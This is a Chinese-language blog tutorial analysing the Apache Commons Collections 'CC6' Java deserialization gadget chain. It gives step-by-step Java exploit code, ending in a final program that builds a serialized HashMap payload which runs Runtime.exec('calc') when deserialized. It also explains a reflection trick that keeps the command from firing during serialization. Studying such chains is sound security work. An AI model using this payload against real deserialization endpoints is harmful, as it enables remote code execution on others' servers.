java反序列化之CC6
CC6 链分析
前半段链子,从LazyMap到InvokerTransformer类是一样的。
我们直接从LazyMap开始找其他调用get的地方。
寻找链子
在 ysoSerial 给的链子中,是TiedMapEntry的getValue()方法调用了LazyMap的get()方法。
再来一次LazyMap弹出计算器的方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package org.example.originaltest;
import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap; import java.util.Map;
public class CC6Test { public static void main(String[] args) {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>(); Map decorate = LazyMap.decorate(map, exec);
decorate.get(runtime); } }
|
下一步就是让TiedMapEntry类中的getValue()方法调用了LazyMap的get()方法。下面使用TiedMapEntry写一个exp。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| package org.example.originaltest;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap; import java.util.Map;
public class CC6Test { public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key"); tiedMapEntry.getValue(); } }
|
这里的逻辑还是很简单的,我们创建一个TiedMapEntry对象,然后把我们构造的LazyMap传进去并直接调用setValue方法,就会调用到map.get(key)。
接下来向上找谁调用了TiedMapEntry 中的 getValue() 方法。
getvalue这一个方法非常常见,所以一般优先找同一个类下面是否存在调用。
于是找到在这个类下hashCode()方法中调用了getValue()方法:
1 2 3 4 5
| public int hashCode() { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
|
在实战中,如果我们在链子中找到了hashCode()方法,说明链子的构造已经快成功了。
与入口类结合的链子
在 Java 反序列化中,找到hashCode()之后的链子基本都是HashMap这一条。
1 2 3
| xxx.readObject() HashMap.put() --自动调用--> HashMap.hash() 后续利用链.hashCode()
|
写一段从HashMap.put开始到InvokerTransformer结尾的弹计算器的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| package org.example.originaltest;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.util.HashMap; import java.util.Map;
public class CC6Test {
public static void serialize(Object obj) throws Exception{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static void unserialize(String filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); ois.readObject(); }
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>(); expMap.put(tiedMapEntry,"value");
serialize(expMap); unserialize("ser.bin");
} }
|
HashMap的put方法自动调用hashCode方法,尝试构造exp,结果出现了一个神奇的现象,在序列化时就能弹出 计算器,与 URLDNS 链的情况一模一样。
所以我们需要在执行put()方法时,先不让其命令执行,在反序列化时再命令执行。
我们可以通过修改Map lazyMap = LazyMap.decorate(map, chainedTransformer),来达到我们需要的效果。我们之前传的参数是chainedTransformer,如果我们在序列化的时候传入一个没用的东西,然后再在反序列化的时候通过反射改回chainedTransformer,就可以避免在序列化时触发命令执行。
最终 EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| package org.example.originaltest;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class CC6Test {
public static void serialize(Object obj) throws Exception{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static void unserialize(String filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); ois.readObject(); }
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); Map lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
HashMap<Object, Object> mapSerial = new HashMap<>(); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa"); mapSerial.put(tiedMapEntry,"bbb"); map.remove("aaa");
Class<LazyMap> lazyMapClass = LazyMap.class; Field factory = lazyMapClass.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazymap,chainedTransformer);
serialize(mapSerial); unserialize("ser.bin");
} }
|
现在从头开始梳理一下利用链:
HashMap这个入口类重写了readObject方法,当HashMap被反序列化时会被自动执行,而在重写的readObject方法中会对key,也就是我们put(key,value)的key,调用hash方法,最终调用key的hashCode()方法。
所以我们要对HashMap的key进行构造,这时我们构造一个TiedMapEntry并放入键,值随便写一个,在调用链中就会调用TiedMapEntry的hashCode方法,在此方法中会调用TiedMapEntry的getValue方法,在getValue方法中会调用属性map的get方法。如果我们把这个map属性设置为LazyMap对象,就会调用LazyMap的get方法。之后就和 CC1 的利用链一样了。
然后就是关于以下部分源码的解读:
1 2 3 4 5 6 7
| HashMap<Object, Object> map = new HashMap<>(); Map lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
HashMap<Object, Object> mapSerial = new HashMap<>(); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa"); mapSerial.put(tiedMapEntry,"bbb"); map.remove("aaa");
|
首先创建了一个HashMap作为LazyMap的内部存储,然后创建一个LazyMap对象并用new ConstantTransformer(1)来防止序列化时触发命令执行。HashMap<Object, Object> mapSerial = new HashMap<>()这个HashMap则是最终要被序列化的入口类,然后创建一个TiedMapEntry对象用来接收LazyMap补全调用链,同时TiedMapEntry的key属性被设置为aaa,所以当调用map.get(key)时就为lazymap.get("aaa")。然后把我们的 payload 放到HashMap中,就能触发利用链。
关于map.remove("aaa")的解释:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| mapSerial.put(tiedMapEntry, "bbb") │ ├─→ HashMap.put() │ │ │ └─→ putVal(hash(key), key, value, ...) │ │ │ └─→ hash(tiedMapEntry) │ │ │ └─→ tiedMapEntry.hashCode() ← 入口 │ │ │ └─→ getValue() │ │ │ └─→ lazymap.get("aaa") │ │ │ ├─→ 检查内部 map 是否包含 "aaa"? │ │ map.containsKey("aaa") → false (map 是空的) │ │ │ ├─→ 不包含!触发 factory │ │ factory.transform("aaa") │ │ ConstantTransformer(1).transform("aaa") │ │ 返回: 1 │ │ │ ├─→ 放入内部 map │ │ map.put("aaa", 1) │ │ 现在 map = {"aaa" → 1} │ │ │ └─→ 返回 1 │ └─→ 最终 mapSerial = {tiedMapEntry → "bbb"}
|
所以此时LazyMap中有一个键值对aaa->1,我们需要删除它,以便后续的调用。
总结
1 2 3 4 5 6 7 8 9
| xxx.readObject() HashMap.put() HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() ChainedTransformer.transform() InvokerTransformer.transform() Runtime.exec()
|
这是CC6的利用链。这也是最好用的利用链,因为不受 jdk 版本的影响。